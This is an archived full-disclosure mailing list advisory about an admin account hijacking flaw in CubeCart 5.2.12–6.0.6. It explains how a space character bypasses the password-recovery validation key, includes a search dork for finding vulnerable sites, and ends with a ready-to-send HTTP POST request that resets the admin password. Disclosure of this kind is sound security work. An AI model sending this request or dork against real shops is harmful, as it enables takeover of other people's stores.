full-disclosure - [FD] CubeCart 6.0.6 > 5.2.12 admin hijacking vulnerability

Open Source and information security mailing list archives

Date: Mon, 7 Sep 2015 22:15:19 +0100
From: Fernando Camara <fernando.camara.007@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CubeCart 6.0.6 > 5.2.12 admin hijacking vulnerability

Application: CubeCart 6.0.6 > 5.2.12
Fixed: 07/09/2015 (6.0.7)
Credits: Fernando Câmara @overflowy
Title: Admin account hijacking vulnerability
Dork: inurl:"index.php?_a="
Requirements: Default admin recovery functions enabled...
              Knowledge of the admin account email

P.O.C

Its possible for an attacker to access the admin pass recovery page without
sending a recovery email previously.

admin.php?_g=recovery

The form asks us for a Validation Key , an Email and the new password.
If a forgot password validation email is sent then the program saves the
random generated key on the database
on the admin user row.
on the table  CubeCart_admin_users

Field: verify
Type: varchar(32)
Null: YES
Default: NULL

If a forgot password verification email is not sent then the default
validation key according to the specified configuration of the field is
NULL.
If we input a space character (%20) the select query built in the function
line 540 database.class.php will return results if the email is correct.

The function at line 766 file database.class.php where() calls sqlSafe()
declared in line 162 file mysql.class.php will quote our space character
effectivly building a query with an empty string like this.

SELECT admin_id,username WHERE email='admin@...il.com' AND verify = ' '; ->
an empty string

The database recognizes the empty string as null.

Just a simple request that would change an admin account password and
redirect the attacker right to the control panel.

POST /admin.php?_g=recovery HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101
Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/admin.php?_g=recovery
Cookie: PHPSESSID=lqc12qi1i5o5sl0jtbqt5747k7
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

Content-Length: 154
validate=%20&email=admin%40email.com
&password%5Bnew%5D=newpass&password%5Bconfirm%5D=newpass&login=Submit&token=62a83c672e2763529b46fd8978ac9451

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